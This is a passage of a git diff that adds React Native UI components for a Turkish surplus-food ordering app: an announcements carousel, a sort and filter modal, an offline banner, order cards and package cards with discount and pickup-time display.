|
||||||
|
}
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
if (loading) {
|
||||||
|
return (
|
||||||
|
<View style={styles.loaderContainer}>
|
||||||
|
<ActivityIndicator size="small" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (error || announcements.length === 0) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
<FlatList
|
||||||
|
ref={flatListRef}
|
||||||
|
data={announcements}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
horizontal
|
||||||
|
pagingEnabled
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
snapToInterval={CARD_WIDTH + 12}
|
||||||
|
decelerationRate="fast"
|
||||||
|
contentContainerStyle={styles.listContent}
|
||||||
|
onViewableItemsChanged={handleViewableItemsChanged}
|
||||||
|
viewabilityConfig={viewabilityConfig}
|
||||||
|
onScrollBeginDrag={handleScrollBeginDrag}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<View style={styles.cardWrapper}>
|
||||||
|
<AnnouncementCard
|
||||||
|
item={item}
|
||||||
|
onVisible={() => handleCardVisible(item.id)}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
{announcements.length > 1 && (
|
||||||
|
<View style={styles.dotsContainer}>
|
||||||
|
{announcements.map((item, index) => (
|
||||||
|
<View
|
||||||
|
key={item.id}
|
||||||
|
style={[
|
||||||
|
styles.dot,
|
||||||
|
index === activeIndex ? styles.dotActive : styles.dotInactive,
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
marginTop: 12,
|
||||||
|
},
|
||||||
|
loaderContainer: {
|
||||||
|
height: CARD_HEIGHT,
|
||||||
|
marginTop: 12,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
listContent: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
cardWrapper: {
|
||||||
|
marginRight: 12,
|
||||||
|
},
|
||||||
|
dotsContainer: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginTop: 10,
|
||||||
|
},
|
||||||
|
dot: {
|
||||||
|
width: 7,
|
||||||
|
height: 7,
|
||||||
|
borderRadius: 3.5,
|
||||||
|
marginHorizontal: 3,
|
||||||
|
},
|
||||||
|
dotActive: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
width: 20,
|
||||||
|
borderRadius: 4,
|
||||||
|
},
|
||||||
|
dotInactive: {
|
||||||
|
backgroundColor: '#D1D5DB',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,334 @@
|
|||||||
|
import React, {useState, useRef, useCallback} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
Modal,
|
||||||
|
ScrollView,
|
||||||
|
StatusBar,
|
||||||
|
LayoutChangeEvent,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
|
||||||
|
export type SortOption = 'recommended' | 'distance' | 'price' | 'rating';
|
||||||
|
|
||||||
|
export interface FilterState {
|
||||||
|
sort: SortOption;
|
||||||
|
hasDelivery: boolean;
|
||||||
|
lastFew: boolean;
|
||||||
|
discounted: boolean;
|
||||||
|
payment: string;
|
||||||
|
priceRange: [number, number];
|
||||||
|
}
|
||||||
|
|
||||||
|
const DEFAULT_FILTER: FilterState = {
|
||||||
|
sort: 'recommended',
|
||||||
|
hasDelivery: false,
|
||||||
|
lastFew: false,
|
||||||
|
discounted: false,
|
||||||
|
payment: 'all',
|
||||||
|
priceRange: [0, 500],
|
||||||
|
};
|
||||||
|
|
||||||
|
export type FilterSection = 'sort' | 'quickFilters' | 'price';
|
||||||
|
|
||||||
|
interface FilterModalProps {
|
||||||
|
visible: boolean;
|
||||||
|
onClose: () => void;
|
||||||
|
onApply: (filter: FilterState) => void;
|
||||||
|
initialFilter?: FilterState;
|
||||||
|
initialSection?: FilterSection;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SORT_OPTIONS: {key: SortOption; label: string}[] = [
|
||||||
|
{key: 'recommended', label: 'Önerilen (Varsayılan)'},
|
||||||
|
{key: 'distance', label: 'Mesafe'},
|
||||||
|
{key: 'price', label: 'Fiyat'},
|
||||||
|
{key: 'rating', label: 'Puan'},
|
||||||
|
];
|
||||||
|
|
||||||
|
const PRICE_RANGES: {label: string; range: [number, number]}[] = [
|
||||||
|
{label: 'Tümü', range: [0, 500]},
|
||||||
|
{label: '0 - 50 TL', range: [0, 50]},
|
||||||
|
{label: '50 - 100 TL', range: [50, 100]},
|
||||||
|
{label: '100 - 200 TL', range: [100, 200]},
|
||||||
|
{label: '200+ TL', range: [200, 500]},
|
||||||
|
];
|
||||||
|
|
||||||
|
function RadioButton({selected}: {selected: boolean}) {
|
||||||
|
return (
|
||||||
|
<View style={[radioStyles.outer, selected && radioStyles.outerSelected]}>
|
||||||
|
{selected && <View style={radioStyles.inner} />}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const radioStyles = StyleSheet.create({
|
||||||
|
outer: {
|
||||||
|
width: 22,
|
||||||
|
height: 22,
|
||||||
|
borderRadius: 11,
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: '#D1D5DB',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
outerSelected: {
|
||||||
|
borderColor: colors.primary,
|
||||||
|
},
|
||||||
|
inner: {
|
||||||
|
width: 12,
|
||||||
|
height: 12,
|
||||||
|
borderRadius: 6,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
function Checkbox({checked}: {checked: boolean}) {
|
||||||
|
return (
|
||||||
|
<View style={[checkStyles.box, checked && checkStyles.boxChecked]}>
|
||||||
|
{checked && <Text style={checkStyles.check}>✓</Text>}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const checkStyles = StyleSheet.create({
|
||||||
|
box: {
|
||||||
|
width: 22,
|
||||||
|
height: 22,
|
||||||
|
borderRadius: 4,
|
||||||
|
borderWidth: 2,
|
||||||
|
borderColor: '#D1D5DB',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
boxChecked: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
},
|
||||||
|
check: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: '#FFFFFF',
|
||||||
|
fontWeight: '700',
|
||||||
|
},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default function FilterModal({
|
||||||
|
visible,
|
||||||
|
onClose,
|
||||||
|
onApply,
|
||||||
|
initialFilter,
|
||||||
|
initialSection,
|
||||||
|
}: FilterModalProps) {
|
||||||
|
const [filter, setFilter] = useState<FilterState>(initialFilter || DEFAULT_FILTER);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const scrollRef = useRef<ScrollView>(null);
|
||||||
|
const sectionPositions = useRef<Record<string, number>>({});
|
||||||
|
|
||||||
|
// Sync filter state when modal opens with new initialFilter
|
||||||
|
React.useEffect(() => {
|
||||||
|
if (visible) {
|
||||||
|
setFilter(initialFilter || DEFAULT_FILTER);
|
||||||
|
}
|
||||||
|
}, [visible, initialFilter]);
|
||||||
|
|
||||||
|
// Scroll to initialSection when modal opens
|
||||||
|
React.useEffect(() => {
|
||||||
|
if (visible && initialSection && scrollRef.current) {
|
||||||
|
const timeout = setTimeout(() => {
|
||||||
|
const y = sectionPositions.current[initialSection];
|
||||||
|
if (y != null) {
|
||||||
|
scrollRef.current?.scrollTo({y, animated: true});
|
||||||
|
}
|
||||||
|
}, 300);
|
||||||
|
return () => clearTimeout(timeout);
|
||||||
|
}
|
||||||
|
}, [visible, initialSection]);
|
||||||
|
|
||||||
|
const handleSectionLayout = useCallback((section: string) => (e: LayoutChangeEvent) => {
|
||||||
|
sectionPositions.current[section] = e.nativeEvent.layout.y;
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const handleReset = () => {
|
||||||
|
setFilter(DEFAULT_FILTER);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleApply = () => {
|
||||||
|
onApply(filter);
|
||||||
|
onClose();
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Modal visible={visible} animationType="slide">
|
||||||
|
<View style={[styles.container, {paddingTop: insets.top}]}>
|
||||||
|
<StatusBar barStyle="dark-content" />
|
||||||
|
|
||||||
|
{/* Header */}
|
||||||
|
<View style={styles.header}>
|
||||||
|
<TouchableOpacity onPress={onClose} style={styles.closeBtn}>
|
||||||
|
<Text style={styles.closeIcon}>✕</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>Filtre</Text>
|
||||||
|
<TouchableOpacity onPress={handleReset}>
|
||||||
|
<Text style={styles.resetText}>Sıfırla</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<ScrollView ref={scrollRef} style={styles.content} showsVerticalScrollIndicator={false}>
|
||||||
|
{/* Sıralama */}
|
||||||
|
<View onLayout={handleSectionLayout('sort')}>
|
||||||
|
<Text style={styles.sectionTitle}>Sıralama</Text>
|
||||||
|
</View>
|
||||||
|
{SORT_OPTIONS.map(opt => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={opt.key}
|
||||||
|
style={styles.optionRow}
|
||||||
|
onPress={() => setFilter(f => ({...f, sort: opt.key}))}>
|
||||||
|
<Text style={styles.optionLabel}>{opt.label}</Text>
|
||||||
|
<RadioButton selected={filter.sort === opt.key} />
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
|
||||||
|
<View style={styles.divider} />
|
||||||
|
|
||||||
|
{/* Hızlı filtreler */}
|
||||||
|
<View onLayout={handleSectionLayout('quickFilters')}>
|
||||||
|
<Text style={styles.sectionTitle}>Hızlı filtreler</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.optionRow}
|
||||||
|
onPress={() => setFilter(f => ({...f, hasDelivery: !f.hasDelivery}))}>
|
||||||
|
<Text style={styles.optionLabel}>Teslimat var</Text>
|
||||||
|
<Checkbox checked={filter.hasDelivery} />
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.optionRow}
|
||||||
|
onPress={() => setFilter(f => ({...f, lastFew: !f.lastFew}))}>
|
||||||
|
<Text style={styles.optionLabel}>Son birkaç kaldı</Text>
|
||||||
|
<Checkbox checked={filter.lastFew} />
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.optionRow}
|
||||||
|
onPress={() => setFilter(f => ({...f, discounted: !f.discounted}))}>
|
||||||
|
<Text style={styles.optionLabel}>İndirimli</Text>
|
||||||
|
<Checkbox checked={filter.discounted} />
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
<View style={styles.divider} />
|
||||||
|
|
||||||
|
{/* Fiyat Aralığı */}
|
||||||
|
<View onLayout={handleSectionLayout('price')}>
|
||||||
|
<Text style={styles.sectionTitle}>Ortalama Fiyat Aralığı</Text>
|
||||||
|
</View>
|
||||||
|
{PRICE_RANGES.map((opt, idx) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={idx}
|
||||||
|
style={styles.optionRow}
|
||||||
|
onPress={() => setFilter(f => ({...f, priceRange: opt.range}))}>
|
||||||
|
<Text style={styles.optionLabel}>{opt.label}</Text>
|
||||||
|
<RadioButton
|
||||||
|
selected={
|
||||||
|
filter.priceRange[0] === opt.range[0] &&
|
||||||
|
filter.priceRange[1] === opt.range[1]
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
|
||||||
|
<View style={{height: 100}} />
|
||||||
|
</ScrollView>
|
||||||
|
|
||||||
|
{/* Apply Button */}
|
||||||
|
<View style={[styles.footer, {paddingBottom: insets.bottom + 16}]}>
|
||||||
|
<TouchableOpacity style={styles.applyBtn} onPress={handleApply}>
|
||||||
|
<Text style={styles.applyText}>Uygula</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</Modal>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {
|
||||||
|
flex: 1,
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingVertical: 14,
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
closeBtn: {
|
||||||
|
width: 36,
|
||||||
|
height: 36,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
closeIcon: {
|
||||||
|
fontSize: 18,
|
||||||
|
color: '#1A1A1A',
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
headerTitle: {
|
||||||
|
fontSize: 17,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
},
|
||||||
|
resetText: {
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: colors.primary,
|
||||||
|
},
|
||||||
|
content: {
|
||||||
|
flex: 1,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
sectionTitle: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
marginTop: 24,
|
||||||
|
marginBottom: 12,
|
||||||
|
},
|
||||||
|
optionRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: 14,
|
||||||
|
},
|
||||||
|
optionLabel: {
|
||||||
|
fontSize: 15,
|
||||||
|
color: '#374151',
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
divider: {
|
||||||
|
height: 1,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
marginTop: 8,
|
||||||
|
},
|
||||||
|
footer: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingTop: 12,
|
||||||
|
borderTopWidth: 1,
|
||||||
|
borderTopColor: '#F3F4F6',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
applyBtn: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 12,
|
||||||
|
paddingVertical: 16,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
applyText: {
|
||||||
|
fontSize: 16,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
import React, {useEffect, useState} from 'react';
|
||||||
|
import {View, Text, StyleSheet} from 'react-native';
|
||||||
|
import NetInfo from '@react-native-community/netinfo';
|
||||||
|
|
||||||
|
export default function OfflineBanner() {
|
||||||
|
const [isOffline, setIsOffline] = useState(false);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const unsubscribe = NetInfo.addEventListener(state => {
|
||||||
|
setIsOffline(!state.isConnected);
|
||||||
|
});
|
||||||
|
return () => unsubscribe();
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
if (!isOffline) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.banner}>
|
||||||
|
<Text style={styles.text}>📡 İnternet bağlantısı yok</Text>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
banner: {
|
||||||
|
backgroundColor: '#EF4444',
|
||||||
|
paddingVertical: 8,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
text: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,117 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {TouchableOpacity, View, Text, StyleSheet} from 'react-native';
|
||||||
|
import {colors, spacing, typography, borderRadius} from '../theme';
|
||||||
|
import type {Order} from '../types/models';
|
||||||
|
|
||||||
|
interface OrderCardProps {
|
||||||
|
order: Order;
|
||||||
|
storeName?: string;
|
||||||
|
onPress: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const STATUS_LABELS: Record<Order['status'], string> = {
|
||||||
|
pending: 'Bekliyor',
|
||||||
|
paid: 'Odendi',
|
||||||
|
picked_up: 'Teslim Alindi',
|
||||||
|
cancelled: 'Iptal Edildi',
|
||||||
|
refunded: 'Iade Edildi',
|
||||||
|
};
|
||||||
|
|
||||||
|
const STATUS_COLORS: Record<Order['status'], string> = {
|
||||||
|
pending: colors.warning,
|
||||||
|
paid: colors.info,
|
||||||
|
picked_up: colors.success,
|
||||||
|
cancelled: colors.error,
|
||||||
|
refunded: colors.textSecondary,
|
||||||
|
};
|
||||||
|
|
||||||
|
function formatDate(dateStr: string): string {
|
||||||
|
const d = new Date(dateStr);
|
||||||
|
const day = d.getDate().toString().padStart(2, '0');
|
||||||
|
const month = (d.getMonth() + 1).toString().padStart(2, '0');
|
||||||
|
const hours = d.getHours().toString().padStart(2, '0');
|
||||||
|
const mins = d.getMinutes().toString().padStart(2, '0');
|
||||||
|
return `${day}.${month} ${hours}:${mins}`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function shortId(id: string): string {
|
||||||
|
return id.slice(0, 8).toUpperCase();
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function OrderCard({order, storeName, onPress}: OrderCardProps) {
|
||||||
|
const statusColor = STATUS_COLORS[order.status];
|
||||||
|
const statusLabel = STATUS_LABELS[order.status];
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TouchableOpacity style={styles.card} onPress={onPress} activeOpacity={0.7}>
|
||||||
|
<View style={styles.header}>
|
||||||
|
<Text style={styles.orderId}>#{shortId(order.id)}</Text>
|
||||||
|
<View style={[styles.statusBadge, {backgroundColor: statusColor}]}>
|
||||||
|
<Text style={styles.statusText}>{statusLabel}</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{storeName ? (
|
||||||
|
<Text style={styles.storeName}>{storeName}</Text>
|
||||||
|
) : null}
|
||||||
|
|
||||||
|
<View style={styles.footer}>
|
||||||
|
<Text style={styles.price}>{order.total_price.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.date}>{formatDate(order.created_at)}</Text>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
card: {
|
||||||
|
backgroundColor: colors.backgroundCard,
|
||||||
|
borderRadius: borderRadius.lg,
|
||||||
|
padding: spacing.lg,
|
||||||
|
marginBottom: spacing.md,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 2},
|
||||||
|
shadowOpacity: 0.08,
|
||||||
|
shadowRadius: 4,
|
||||||
|
elevation: 3,
|
||||||
|
},
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: spacing.sm,
|
||||||
|
},
|
||||||
|
orderId: {
|
||||||
|
...typography.captionBold,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
},
|
||||||
|
statusBadge: {
|
||||||
|
borderRadius: 6,
|
||||||
|
paddingHorizontal: spacing.sm,
|
||||||
|
paddingVertical: 2,
|
||||||
|
},
|
||||||
|
statusText: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textWhite,
|
||||||
|
fontWeight: '600',
|
||||||
|
},
|
||||||
|
storeName: {
|
||||||
|
...typography.bodyBold,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
marginBottom: spacing.sm,
|
||||||
|
},
|
||||||
|
footer: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
price: {
|
||||||
|
...typography.price,
|
||||||
|
color: colors.primary,
|
||||||
|
fontSize: 18,
|
||||||
|
},
|
||||||
|
date: {
|
||||||
|
...typography.small,
|
||||||
|
color: colors.textSecondary,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,356 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import {TouchableOpacity, View, Text, Image, StyleSheet} from 'react-native';
|
||||||
|
import {colors} from '../theme';
|
||||||
|
import type {PackageNearby, StoreType} from '../types/models';
|
||||||
|
|
||||||
|
interface PackageCardProps {
|
||||||
|
item: PackageNearby;
|
||||||
|
onPress: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
// Real category images from production
|
||||||
|
const CATEGORY_IMAGES: Record<StoreType, string> = {
|
||||||
|
bakery: `${BASE_URL}/package-bakery.png`,
|
||||||
|
restaurant: `${BASE_URL}/package-restaurant.png`,
|
||||||
|
pastry: `${BASE_URL}/package-pastry.png`,
|
||||||
|
market: `${BASE_URL}/package-market.png`,
|
||||||
|
catering: `${BASE_URL}/package-restaurant.png`,
|
||||||
|
other: `${BASE_URL}/bereketli_paket.png`,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Smart image selection based on package title keywords
|
||||||
|
function getPackageImage(title: string, category: StoreType, storePhotos: string[]): string {
|
||||||
|
if (storePhotos && storePhotos.length > 0) {
|
||||||
|
return storePhotos[0].startsWith('http') ? storePhotos[0] : `${BASE_URL}${storePhotos[0]}`;
|
||||||
|
}
|
||||||
|
const lower = title.toLowerCase();
|
||||||
|
if (lower.includes('et ') || lower.includes('kıyma') || lower.includes('sucuk') || lower.includes('kasap')) return `${BASE_URL}/pkg-meat.jpg`;
|
||||||
|
if (lower.includes('mangal') || lower.includes('barbekü') || lower.includes('izgara')) return `${BASE_URL}/pkg-mangal.jpg`;
|
||||||
|
if (lower.includes('sebze') || lower.includes('manav')) return `${BASE_URL}/pkg-vegetable.jpg`;
|
||||||
|
if (lower.includes('meyve')) return `${BASE_URL}/pkg-fruit.jpg`;
|
||||||
|
return CATEGORY_IMAGES[category] || CATEGORY_IMAGES.other;
|
||||||
|
}
|
||||||
|
|
||||||
|
const CATEGORY_LABELS: Record<StoreType, string> = {
|
||||||
|
bakery: 'Fırın',
|
||||||
|
restaurant: 'Restoran',
|
||||||
|
pastry: 'Pastane',
|
||||||
|
market: 'Market',
|
||||||
|
catering: 'Catering',
|
||||||
|
other: 'Diğer',
|
||||||
|
};
|
||||||
|
|
||||||
|
function formatPrice(price: number): string {
|
||||||
|
return `${price.toFixed(0)} TL`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function discountPercent(price: number, original: number): number {
|
||||||
|
if (original <= 0) return 0;
|
||||||
|
return Math.round(((original - price) / original) * 100);
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatDistance(m: number): string {
|
||||||
|
if (m < 1000) return `${Math.round(m)}m`;
|
||||||
|
return `${(m / 1000).toFixed(1)}km`;
|
||||||
|
}
|
||||||
|
|
||||||
|
function formatPickupTime(start: string, end: string): string {
|
||||||
|
try {
|
||||||
|
const s = new Date(start);
|
||||||
|
const e = new Date(end);
|
||||||
|
const sh = s.getHours().toString().padStart(2, '0');
|
||||||
|
const sm = s.getMinutes().toString().padStart(2, '0');
|
||||||
|
const eh = e.getHours().toString().padStart(2, '0');
|
||||||
|
const em = e.getMinutes().toString().padStart(2, '0');
|
||||||
|
return `${sh}:${sm} - ${eh}:${em}`;
|
||||||
|
} catch {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default function PackageCard({item, onPress}: PackageCardProps) {
|
||||||
|
const pct = discountPercent(item.price, item.original_value);
|
||||||
|
const catLabel = CATEGORY_LABELS[item.category] || 'Diğer';
|
||||||
|
const pickupTime = formatPickupTime(item.pickup_start, item.pickup_end);
|
||||||
|
|
||||||
|
const photoUri = getPackageImage(item.title, item.category, item.store_photos);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TouchableOpacity style={styles.card} onPress={onPress} activeOpacity={0.9}>
|
||||||
|
{/* ── Image Area (Yemeksepeti style) ── */}
|
||||||
|
<View style={styles.imageContainer}>
|
||||||
|
<Image
|
||||||
|
source={{uri: photoUri}}
|
||||||
|
style={styles.image}
|
||||||
|
resizeMode="cover"
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Heart / Favorite — top right (like Yemeksepeti) */}
|
||||||
|
<TouchableOpacity style={styles.heartBtn} activeOpacity={0.7}>
|
||||||
|
<Text style={styles.heartIcon}>♡</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* "Öne Çıkan" style badge — bottom right */}
|
||||||
|
{item.remaining <= 3 && (
|
||||||
|
<View style={styles.featuredBadge}>
|
||||||
|
<Text style={styles.featuredText}>Son {item.remaining}!</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Discount badge — top left */}
|
||||||
|
{pct > 0 && (
|
||||||
|
<View style={styles.discountBadge}>
|
||||||
|
<Text style={styles.discountText}>%{pct}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Info Area (Yemeksepeti style) ── */}
|
||||||
|
<View style={styles.info}>
|
||||||
|
{/* Store name + Rating — same row */}
|
||||||
|
<View style={styles.nameRow}>
|
||||||
|
<Text style={styles.storeName} numberOfLines={1}>{item.store_name}</Text>
|
||||||
|
{item.store_rating > 0 && (
|
||||||
|
<View style={styles.ratingContainer}>
|
||||||
|
<Text style={styles.ratingStar}>★</Text>
|
||||||
|
<Text style={styles.ratingValue}>{item.store_rating.toFixed(1)}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Title */}
|
||||||
|
<Text style={styles.title} numberOfLines={1}>{item.title}</Text>
|
||||||
|
|
||||||
|
{/* Meta line (YS style: "446m · 19:00-20:30 · Fırın") */}
|
||||||
|
<Text style={styles.metaLine} numberOfLines={1}>
|
||||||
|
{[
|
||||||
|
item.distance_m > 0 ? formatDistance(item.distance_m) : null,
|
||||||
|
pickupTime || null,
|
||||||
|
catLabel,
|
||||||
|
]
|
||||||
|
.filter(Boolean)
|
||||||
|
.join(' · ')}
|
||||||
|
</Text>
|
||||||
|
|
||||||
|
{/* Delivery badge (YS style "🛵 Ücretsiz" or "Gel Al") */}
|
||||||
|
<View style={styles.deliveryRow}>
|
||||||
|
<View style={[styles.deliveryBadge, {backgroundColor: item.delivery_available ? '#EFF6FF' : '#F0FDF4'}]}>
|
||||||
|
<Text style={[styles.deliveryBadgeText, {color: item.delivery_available ? '#2563EB' : '#16A34A'}]}>
|
||||||
|
{item.delivery_available ? '🛵 Teslimat' : '🏪 Gel Al'}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
{item.remaining <= 5 && item.remaining > 0 && (
|
||||||
|
<Text style={styles.urgencyText}>Son {item.remaining} paket!</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Price row */}
|
||||||
|
<View style={styles.priceRow}>
|
||||||
|
<Text style={styles.price}>{formatPrice(item.price)}</Text>
|
||||||
|
<Text style={styles.originalPrice}>{formatPrice(item.original_value)}</Text>
|
||||||
|
{item.remaining > 3 && (
|
||||||
|
<Text style={styles.remainingText}>{item.remaining} kaldı</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Green promo strip (like Yemeksepeti "350₺'ye 250₺ indirim") */}
|
||||||
|
{pct > 0 && (
|
||||||
|
<View style={styles.promoStrip}>
|
||||||
|
<Text style={styles.promoText}>
|
||||||
|
🏷️ {formatPrice(item.original_value)} değerinde, sadece {formatPrice(item.price)}!
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
card: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 12,
|
||||||
|
marginBottom: 16,
|
||||||
|
overflow: 'hidden',
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05,
|
||||||
|
shadowRadius: 4,
|
||||||
|
elevation: 2,
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Image ──
|
||||||
|
imageContainer: {
|
||||||
|
height: 180,
|
||||||
|
position: 'relative',
|
||||||
|
